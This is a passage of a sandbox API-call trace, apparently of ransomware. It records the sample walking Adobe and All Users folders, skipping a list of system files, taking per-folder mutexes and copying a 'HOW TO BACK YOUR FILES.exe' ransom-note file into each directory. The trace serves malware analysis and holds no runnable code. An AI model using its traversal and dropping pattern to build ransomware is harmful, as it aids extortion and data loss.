lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.799] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.799] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.799] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.799] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.799] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.799] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.799] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.799] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.799] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe1bf4520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1bf4520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2=".") returned 1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2="..") returned 1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2="windows") returned -1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2="bootmgr") returned -1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2="temp") returned -1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2="pagefile.sys") returned -1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2="boot") returned -1 [0102.799] lstrcmpiW (lpString1="10.0", lpString2="ids.txt") returned -1 [0102.800] lstrcmpiW (lpString1="10.0", lpString2="ntuser.dat") returned -1 [0102.800] lstrcmpiW (lpString1="10.0", lpString2="perflogs") returned -1 [0102.800] lstrcmpiW (lpString1="10.0", lpString2="MSBuild") returned -1 [0102.800] lstrlenW (lpString="10.0") returned 4 [0102.800] lstrcpyW (in: lpString1=0x241e8ac, lpString2="10.0" | out: lpString1="10.0") returned="10.0" [0102.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508fd8 [0102.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x540c58 [0102.800] lstrcatW (in: lpString1="10.0", lpString2="\\" | out: lpString1="10.0\\") returned="10.0\\" [0102.800] lstrcatW (in: lpString1="10.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="10.0\\HOW TO BACK YOUR FILES.exe") returned="10.0\\HOW TO BACK YOUR FILES.exe" [0102.800] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Adobe\\Acrobat\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\acrobat\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.800] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc466d1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.800] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.800] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc466d1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.800] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.801] ReleaseMutex (hMutex=0xec) returned 1 [0102.801] CloseHandle (hObject=0xec) returned 1 [0102.801] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Adobe\\ARM" | out: lpString1="C:\\Documents and Settings\\All Users\\Adobe\\ARM") returned="C:\\Documents and Settings\\All Users\\Adobe\\ARM" [0102.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524228 | out: hHeap=0x4f0000) returned 1 [0102.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a520 | out: hHeap=0x4f0000) returned 1 [0102.801] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Adobe\\ARM") returned 45 [0102.801] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\52E46C77F4631FF551BE71AFEFDE5742") returned 0xec [0102.801] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.801] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Adobe\\ARM" | out: lpString1="C:\\Documents and Settings\\All Users\\Adobe\\ARM") returned="C:\\Documents and Settings\\All Users\\Adobe\\ARM" [0102.801] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.801] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.801] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\arm\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.802] GetLastError () returned 0x0 [0102.802] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.802] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.802] CloseHandle (hObject=0xf4) returned 1 [0102.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.803] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.803] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.803] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.803] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.803] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.803] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.803] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.803] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.803] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.803] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.803] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc466d1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.803] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.803] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe1c1a680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1c1a680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2=".") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="..") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="windows") returned -1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="bootmgr") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="temp") returned -1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="pagefile.sys") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="boot") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ids.txt") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ntuser.dat") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="perflogs") returned 1 [0102.803] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="MSBuild") returned 1 [0102.804] lstrlenW (lpString="Reader_10.0.0") returned 13 [0102.804] lstrcpyW (in: lpString1=0x241e8a4, lpString2="Reader_10.0.0" | out: lpString1="Reader_10.0.0") returned="Reader_10.0.0" [0102.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a520 [0102.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x5018a8 [0102.804] lstrcatW (in: lpString1="Reader_10.0.0", lpString2="\\" | out: lpString1="Reader_10.0.0\\") returned="Reader_10.0.0\\" [0102.804] lstrcatW (in: lpString1="Reader_10.0.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Reader_10.0.0\\HOW TO BACK YOUR FILES.exe") returned="Reader_10.0.0\\HOW TO BACK YOUR FILES.exe" [0102.804] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\arm\\reader_10.0.0\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.804] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe1c1a680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1c1a680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0 [0102.804] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.804] ReleaseMutex (hMutex=0xec) returned 1 [0102.804] CloseHandle (hObject=0xec) returned 1 [0102.804] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Adobe" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Adobe") returned="C:\\Documents and Settings\\All Users\\Application Data\\Adobe" [0102.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501b28 | out: hHeap=0x4f0000) returned 1 [0102.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c608 | out: hHeap=0x4f0000) returned 1 [0102.805] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Adobe") returned 58 [0102.805] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3A153077BC864EE6E3982CEA93A2AFBC") returned 0xec [0102.805] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.805] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Adobe" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Adobe") returned="C:\\Documents and Settings\\All Users\\Application Data\\Adobe" [0102.805] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.805] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.805] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\adobe\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.806] GetLastError () returned 0x0 [0102.806] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.806] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.807] CloseHandle (hObject=0xf4) returned 1 [0102.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.807] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.807] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Adobe\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.807] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.807] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.807] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.807] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.807] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.807] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.807] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.807] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.807] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1 [0102.807] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1 [0102.808] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1 [0102.808] lstrlenW (lpString="Acrobat") returned 7 [0102.808] lstrcpyW (in: lpString1=0x241e8be, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat" [0102.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c608 [0102.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x5146c8 [0102.808] lstrcatW (in: lpString1="Acrobat", lpString2="\\" | out: lpString1="Acrobat\\") returned="Acrobat\\" [0102.808] lstrcatW (in: lpString1="Acrobat\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Acrobat\\HOW TO BACK YOUR FILES.exe") returned="Acrobat\\HOW TO BACK YOUR FILES.exe" [0102.808] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.808] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0102.808] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.808] lstrcmpiW (lpString1="ARM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.808] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1 [0102.808] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1 [0102.808] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1 [0102.808] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1 [0102.809] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1 [0102.809] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1 [0102.809] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1 [0102.809] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1 [0102.809] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1 [0102.809] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1 [0102.809] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1 [0102.809] lstrlenW (lpString="ARM") returned 3 [0102.809] lstrcpyW (in: lpString1=0x241e8be, lpString2="ARM" | out: lpString1="ARM") returned="ARM" [0102.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5461d8 [0102.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518920 [0102.809] lstrcatW (in: lpString1="ARM", lpString2="\\" | out: lpString1="ARM\\") returned="ARM\\" [0102.809] lstrcatW (in: lpString1="ARM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ARM\\HOW TO BACK YOUR FILES.exe") returned="ARM\\HOW TO BACK YOUR FILES.exe" [0102.809] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.809] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.809] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.810] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.810] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.810] ReleaseMutex (hMutex=0xec) returned 1 [0102.810] CloseHandle (hObject=0xec) returned 1 [0102.810] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Application Data" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Application Data") returned="C:\\Documents and Settings\\All Users\\Application Data\\Application Data" [0102.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532e50 | out: hHeap=0x4f0000) returned 1 [0102.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c5a8 | out: hHeap=0x4f0000) returned 1 [0102.810] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Application Data") returned 69 [0102.810] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6272127501ED3C21E17B24C2FFB03B7F") returned 0xec [0102.810] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.810] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Application Data" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Application Data") returned="C:\\Documents and Settings\\All Users\\Application Data\\Application Data" [0102.810] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.810] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: 